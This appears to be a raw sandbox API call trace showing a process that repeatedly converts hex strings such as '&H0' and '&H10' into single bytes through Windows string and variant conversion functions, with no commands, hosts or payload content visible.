MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.873] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.873] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.874] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.874] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.875] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.875] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.875] VarParseNumFromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.875] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="\x10") returned 1 [0061.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x10", lpUsedDefaultChar=0x0) returned 1 [0061.876] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.876] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.877] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.877] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.877] VarParseNumFromStr (in: strIn="&H4", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.877] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x04") returned 1 [0061.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x04", lpUsedDefaultChar=0x0) returned 1 [0061.925] VarParseNumFromStr (in: strIn="&H3", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.925] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="\x03") returned 1 [0061.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x03", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x03", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x03", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x03", lpUsedDefaultChar=0x0) returned 1 [0061.926] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.926] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.927] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.927] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.927] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.927] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.928] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.928] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.929] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.929] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.929] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.930] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.930] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.930] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.931] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.931] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.932] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.932] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.932] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.932] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.933] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.933] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.934] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.934] VarNumFromParseNum (in: pnumprs=0x18f8a8, 